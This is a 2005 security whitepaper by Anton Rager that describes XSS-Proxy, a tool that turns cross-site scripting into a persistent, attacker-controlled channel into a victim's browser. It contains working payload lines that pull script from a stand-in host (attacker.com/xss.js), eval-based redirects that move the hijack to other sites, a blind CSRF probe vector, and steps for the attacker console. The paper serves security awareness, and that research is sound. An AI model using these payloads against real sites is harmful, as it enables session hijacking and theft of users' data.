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Advanced_XSS_Control.txt

Advanced_XSS_Control.txt
Posted Feb 18, 2005
Authored by Anton Rager

Advanced Cross-Site-Scripting with Real-time Remote Attacker Control - Some people think XSS attacks are no big deal, but I plan to change that perception with the release of this paper and an accompanying tool called XSS-Proxy which allows XSS attacks to be fully controlled by a remote attacker. This paper describes current XSS attacks and introduces new methods/tool for making XSS attacks interactive, bi-directional, persistent and much more evil. This is not a detailed XSS HowTo, but an explanation of methods for taking XSS attacks much further. Attackers can access sites as the victim or forward specific blind requests to other servers.

tags | paper, remote, web
MD5 | e8745770f3e096cf690dba797b39c2c4

Advanced_XSS_Control.txt

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                             A Mini-Whitepaper
Advanced Cross-Site-Scripting with Real-time Remote Attacker Control

Author: Anton Rager
Date: Feb 9, 2005

** Introduction **
Cross Site Scripting (XSS) is perceived as a minimal threat by many developers and
security professionals. There have been some good papers in the past that should have
woken folks up to the potential risks of XSS, but the problem is still prevalent and
most security folks are un-interested in the issue and its ramifications. I hope to
change that perception with this paper and the release of a tool called XSS-Proxy that
allows XSS attacks to be fully controlled by a remote attacker. This paper describes
current XSS attacks and introduces new methods/tool for making XSS attacks interactive,
bi-directional, persistant and much more evil.

This is not a detailed XSS HowTo, but an explanation of methods for taking XSS attacks
much further. CGISecurity's XSS FAQ (1) is a good resource for a better overview of
general XSS issues. I've also included several references (2,3,4,5) at the end of this
paper that are also great material on XSS and related topics.

This is also not a discussion on solutions as there are many resources on methods for
finding and fixing XSS holes. The extended attack(s) I introduce here bypasses many of
the XSS mitigation methods I've seen other papers recommend (like hidden form inputs,
URL re-writing, POST methods, etc), as the attacker has access to the same site contents
(and jscript/values) as the victim. The only realistic solution is to either discard any
HTML and special char inputs or carefully, carefully filter to allow only certain things
in user input - event many sites that try to filter tags/chars can be tricked into XSS.
Another solution may be to partition sites into multiple document domains so it's more
difficult for an XSS vulnerability in one document domain to allow access to other areas
in the other domains. Perhaps putting site-search CGIs in one subdomain and sensitive
site areas in another would be useful.

** Brief XSS Background **
As many here probably know, current XSS attacks typically use one XSS vulnerable server
or email to redirect a user to a second XSS vulnerable server. The second server is the
actual attacker’s target and normally has a self-XSS issue where a user can inject
<script> content into a document that only that user will see. This combined with the
redirection from another site can allow cookie leakage, form/submit content leakage, or
a specific action to perform as the XSS'd user against the site. In the past other folks
have pointed out that more advanced site manipulation can be achieved with an XSS script
that opens an IFRAME (or other window-like element) and loads/submits for other documents
on the same site. DOM trust will allow Javascript to interact with other windows/IFRAMEs
it creates, as long as the windows point to the same document domain (protocol +
domain_name + port).

The current methods of XSS attacks are typically limited only a single transaction at the
final target site and typically result in cookie harvesting or form submission leakage.


** Basics of XSS-Proxy / Attack **
I have extended the normal XSS attack and combined it with the ability to pull additional
Javascript commands from arbitrary remote servers (aka Javascript Remoting - see (6) for
details with IFRAMEs) to allow XSS to be more than just a redirect with some cookie
leakage. This combination allows an attacker to establish a persistent, bi-directional
control/transfer channel to an XSS victim and access XSS’d sites as that victim. As long
as the victim is tricked into leaving the XSS window open and in the same location, we
have almost total control of the victim’s browser against the XSS site with the ability
to redirect to other XSS vulnerable sites or forward specific blind requests to other
servers (see (3) on performing Cross-Site-Request-Forgeries aka CSRF and (4) on Session-
Riding).

This is achieved with a similar XSS attack to the two server XSS method described above.
A victim gets an XSS vector via blog, comment board, email, etc (Let’s assume our victim
surfed to some public site where other users can create XSS - we’ll call the site
evilblog.com) and that Javascript content redirects the user to a second site (we’ll call
the second site banking.com and assume the site has an XSS in a search function that we
can repeat with a GET). The redirect URL refers to a vulnerable section (cgi/etc) on the
second server that will cause the server's response to contain attacker supplied
Javascript commands that the victim to executes.

The initial XSS vector on evilblog.com would look something like this:
<script>document.location=”http://banking.com/search?name=<script src=’http://attacker.com/xss.js’></script>”</script>

With the above XSS vector, the page returned by the second server would contain the
following:
<script src='http://attacker.com/xss.js'></script>

The victim window now has a current document domain of banking.com and the Javascript
commands are running in that domain. This Javascript causes the victim to make a request
to http://attacker.com for more script commands. The XSS-Proxy utility is actually running
at attacker.com and serves up some Javascript to initialize this client that consists of
several functions for document reading, submission processing, response forwarding and
error handling, as well as some commands to create an IFRAME, load the root document (/)
of the target server (banking.com) into that IFRAME, wait a few seconds for it to load,
read the contents (using innerHTML), then make more script requests to
http://attacker.com. Sounds complex, but it's just several functions and some references
to those function. The functions will stay in memory as long as the victim window doesn't
change. Two things actually happen when the victim makes the subsequent script requests
to http://attacker.com:
1 - Contents of the document in the IFRAME (results of innerHTML for that object) are
leaked in the URL of script request. Script requests are just GETs, so victim requests
the script like a normal document, and stacks parms/info on the URL after the
script/page name. This script request would appear somewhat like the following at the
attacker's server:
GET /xss.js?data=Encoded_innerHTML_Contents HTTP/1.1

It's actually a bit more complex than that as IE limits URL lengths (to around 2049
chars), so most documents will need to be chunked up into sections that will fit on
the script URL requests. The actual tool tries to handle that, so puts some additional
info into the URL requests for re-assembly.

2 - The server at http://attacker.com will respond to the last script request with more
script commands to continue the persistence. The server will either respond with loop
request (basically tells victim wait a few secs, then check back for more script
commands), a document request (load doc into IFRAME, read it and forward results while
getting more script commands), a submit requests (set input values in form within
IFRAME, submit, await response, read response and forward results back while getting
more commands), or a javascript var/function evaluation requests (evaluate an expression
within the current window of victim browser and return result+get commands). This
process continues as long as the victim stays on the same page.

Here's an ASCII visual of the Window and attacker target relationships after victim is
redirected to final Target and hijack session is initialized:



Attacker (XSS-Proxy)
^ |
| |
commands and responses
Victim Browser | |
-----------------------------|--|-------------
|Main Window | v |
| - This is where our resident functions run |
| - Commands from attack console execute here <------
| - Create IFRAME below and read/writes to it | |
| - Victim polls every few sec for new commands| |
| | ^ | |
| -------------------|-|-------------- | |
| | IFRAME v | | | |
| | - This is our document "loader" | | |
| | - other documents on target site | | |
| | are loaded here and read by code | | ^
| | outside the IFRAME (main) | | |
| | | | |
| | | | Initial
| | | | XSS vector
| | ^ | | | to load
| | | | | | functions
| ----------------------|-|----------- | from
-----------------------------|-|-------------- XSS-Proxy
| | |
| | |
| v |
XSS vulnerable server -->--
(Target - banking.com)


There are many methods for hiding the actual "resident" attack window or the loader IFRAME.
The entire window could be hidden or the original site contents could be left and just the
IFRAME hidden. The current XSS-Proxy tool leaves the window and its IFRAME visible to
the victim, but it would be trivial to modify - the attacker can also do this interactively
with the Javascript Eval from. There also are many methods for forcing a user to load a
new window and with some additional logic even pop-up blockers can be bypassed (XSS process
re-writes the links in the original document to open a new window on click). The new window
could be a mirror of what the user was already viewing or the result of a clicked link in
the public XSS document and could trick the victim into leaving the XSS controlled window
running while they continue surfing.

** Using XSS-Proxy **
While the description above is a bit dry, an actual test drive of the tool against your
own XSS vulnerable site will highlight the dangers of this attack more fully. Here's the
general steps for a demo involving your XSS-flawed server with localhost browser as a
victim, an XSS-Proxy and an attacker browser. In a real-world attack, the XSS-flawed
server, victim and XSS-Proxy/attacker hosts would all proabably different systems.

Here's an overview on using the XSS-Proxy tool:
1 - Modify the perl script vars $code_server and $PORT to point to the system that you
will be running the perl script on. Defaults to port 80 and http://localhost
2 - Run the perl script and point the attack browser at /admin on the server you are
running the perl script. With defaults would be http://localhost/admin. This is the
attacker admin console and is where victims can be managed and results viewed.
3 - The initialization URL a victim needs to point to is /xss2.js - Your initial XSS
vector needs to point back to the perl server and this filename (ie for XSSing your
own browser with local code server, enter
<script src="http://localhost/xss2.js"></script>
at a site that has an XSS vulnerable input)
4 - After you have a victim initialized and in a wait loop, you can either browse the /
document of the XSS site and click on links you want the victim to visit/forward back,
or you can enter documents/variables in the associated form inputs.

XSS-Proxy Admin Commands and operation.
- The console does not refresh/update on its own. You will need to press the
refesh/reload button in your browser.
- Javascript is not required to run the console and it may be safer to disable for the
attacker console. I've XSS'd myself a few times with some advanced testing.
- Sessions will show up in a "Clients" section once a victim gets XSS'd.
- Each victim/session should forward a copy of the "/" directory off the XSS'd server.
- Forwarded documents are listed in the "Document Results" section. If you click on a
document, it will rewrite the URLs and clicks within that document will make XSS-Proxy
request the same client load the link
- If you are modifying a form and submitting, then you need to make sure the last page
that client loaded is that same page, then fill out values and submit form. Some URL
re-writing is happening here as well and the code assumes that page is already loaded at
the victim.
- You can also do document loads manually by entering the URL in the "Fetch Document"
form. First value (left) is the session number, and second is the document to retrieve
(ie - 0 and http://xssed.com/stuff). The resulting document will be listed in the
"Document Results" section.
- The other form called "Evaluate" is for querying Javascript vars/functions from
specific clients. Enter session on left and var on right (ie - 0 and document.cookie
to display cookies for session 0)
- Results of evaluate requests will appear in the "Eval Results" section
- There is an error handler running in the victim browser, so errors from page loads and
evaluate requests will appear in the "Errors" section.

There are a few bugs in the code still, so read the initial comments in the controller
script to see what it may have issues with. The attack works with IE and Firefox browsers
(with some additional tweaks other browsers may work) and the Perl script runs on most
any OS with a basic Perl install. I've tested it on Linux and Windows (Activestate Perl)
with Perl5. It's lightweight and extremely portable, but Apache + a DB server would be a
more roust and stable platform.


** Implications of Attack/Tool **
This advanced attack allows a persistent connection and an arbitrary number of documents
to be loaded and forwarded by victims to an attacker. I call these victims in an
idle/wait state "Browser-Zombies". The ability to see documents, modify and submit
documents that the victim may have access to can allow an attacker to elevate access to
a site by assuming the rights/identity of the XSS victim. This is useful if the victim is
already logged into a site (see session-riding paper (4)) and the attacker piggybacks on
this existing session. Cookie theft alone does not work with all site and many sites use
other authentication methods. XSS-Proxy is an extreme example of session-riding (4) and
XSS combined and can allow access to the same resources a victim may have. Methods can
include cached/existing logins, client-side certificates, IP firewalled/filter access
and even access to other resources behind firewalls (see attack refinements below).

This attack also allows realtime (or scripted) access to the victim browser, and other
content-type or browser specific vulnerabilities could also be potentially leveraged for
additional browser/host access. This control channel could also be a delivery mechanism
for other forms of malware.

This also means than the initial XSS attack and controlled session is not just limited
to the current XSS vulnerable server. The attacker can re-direct the victim to other XSS
vulnerable sites after the initial browser hijack, and determine what access the victim
has to the site. This could even be a list of sites that the attacker knows have XSS
flaws and would like to check for special access with a specific victim. XSS-Poxy can
already do this if you have the victim evaluate the expression
document.location="http://newxsssite.com/xsscode". Here's an example if XSS-Proxy already
has an existing session 0:

Form Evaluate:
Session: 0
Expression: document.location="http://2ndxsssite.com/search.cgi?test=%3Cscript%20src='http://attacker.com/xss2.js'%3E%3C/script%3E"

The above command will change the current location of the victim's main window to a new
XSS target, load code from the attacker server, re-create a loader IFRAME and start a new
hijacked session with http://2ndxsssite.com as the current document domain. We have
transferred the initial XSS to another target and maintained control of the victim.

An extension of this idea is to force the victim to continue surfing normally in a window the
attacker creates and in the other XSS hijacked window force periodic redirects to a list of
interesting XSS sites -- with each redirect, the attacker checks to see if the victim is at
one of those sites. If the interactive window is at the same site as the current XSS check-site,
the attacker will be able to read the contents of the interactive window. This means the
attacker can now shoulder-surf the victim and even modify server responses and user
submission as long as the victim stays on that same site. XSS-Proxy doesn't currently do
this, but some interactive eval expressions for the session should be able to create a popup
window (if allowed in browser), make it full screen, and periodically check that window to
see if the victim has surfed to a location that can be read. For a useful attack, this needs
to be coded into XSS-Proxy as another attacker command.

Other refinements of this attack could allow blind CSRF based probing for other sites
with XSS flaws, with validation of XSS vulnerable sites. Validation would be determined
with responses that set the probe IFRAME/window back to the XSS controlled site and
allow the already resident XSS code reading the frame again (even more information could
be passed on the re-direct URL and even if it throws a 404 the XSS code can read it).
If the XSS probe is unsuccessful, the resident XSS code will be unable to read the IFRAME,
will delete the IFRAME and try the next test. Again, I'll update the XSS-Proxy site with
the details, but if there's a XSS flaw the CSRF injected vector will point back to a
site we already XSS control and our script will be able to read the window again. XSS-Proxy
has IFRAME access denial recovery logic that deletes the IFRAME and reloads the original XSS
target site root (/) upon failure to read IFRAME. This can be used to do this CSRF XSS
fuzzing attack with GET URLs by requesting the client fetch a document off another target
system and inlcude some XSS code in the URL to set the frame back to the original XSS site
upon sucess. Here's an example for doing this with XSS-Porxy and a victim on session 0 who's
currently on http://xsssite1.com - this will probe http://csrfprobesite.com:

Form: Fetch Document
Session: 0
Location: http://csrfprobesite/probeurl?probevalue=<script>document.location="http://xsssite1.com/lalalalala"

If XSS-Proxy throws an access denied error for the document in the loader IFRAME, the fuzz
probe failed. If it doesn't throw an error and the new loader IFRAME document location is
set to "http://xsssite1.com/lalalalala", then your blind fuzz worked.
Note that IE needs somewhere over 512 bytes in the 404 message to override IE's
res:// based 404 errors. Firefox doesn't and always seems to read a 404 just fine.

I have another refinement of this attack that can allow the attacker to masquerade as the
victim and never reveal his location/IP to a specific target site. I'll be publishing
details on the XSS-Proxy site soon, but the method involves multiple XSS target sites and
covert channels between several IFRAMES on the same page for command/response
communications. The covert channel is an IFRAME who's location is swapped between the
two XSS sites and commands/responses are communicated via the locations URL (This will
normally throw a 404, but we can still read the location if it's set to the correct
document domain). The end-result is that one of the sites doesn't know where the remote
script server is located and thinks the attacker is actually the victim's browser,
while the other site passed the initial script call to the victim browser. An attacker
using something like Nikto thru the XSS-Proxy tool could attack the 2nd target site while
masquerading as the victim - XSS could be leveraged for other web vulnerability
exploitation. The site administrators would never know where the attack server was
located without a complete analysis of victim system during the attack. XSS-Proxy does
not handle this right now, but I've got some code additions soon that will allow it.


The basic controlled attack and it's extensions are very evil, and any other future DOM
interwindow trust vulnerabilities in browsers (like the recent drop window to tab Firefox
vulnerability) make the issue even worse as _all_ sites a victim has access to could also
be accessed by an attacker. Right now XSS-Proxy only grabs document contents (HTML/Text)
and images, files, and other contents are not downloaded to the attacker. Remote
retrieval of these other file types could be made possible with XSS re-injection and use
of functions like XMLHTTP for arbitrary binary content from the target server.

** Development Site and Additional Information **
XSS-Proxy is available at http://sourceforge.net/projects/xss-proxy

Home page with more detailed whitepaper, some diagrams, screenshots and my
Shmoocon slides is at http://xss-proxy.sourceforge.net

** References **
(1) CGISecurity's Cross Site Scripting FAQ
http://www.cgisecurity.com/articles/xss-faq.shtml
(2) Gunter Ollmann's XSS paper
http://www.technicalinfo.net/papers/CSS.html
(3) PeterW's Cross Site Request Forgery (CSRF) Concept
http://www.securityfocus.com/archive/1/191390
(4) SecureNet's Session Riding paper
http://www.securenet.de/papers/Session_Riding.pdf
(5) CERT info on XSS
http://www.cert.org/advisories/CA-2000-02.html
(6) Remote Scripting with IFRAMEs
http://developer.apple.com/internet/webcontent/iframe.html

Thanks to all who provided ideas, input, testing and draft reviews. You know who you
are ;) And many thanks to the authors of "Javascript 2nd Ed - The Complete Reference"
for a book that I think I've actually read in it's entirety at this point...


Anton Rager
arager@avaya.com or a_rager@yahoo.com

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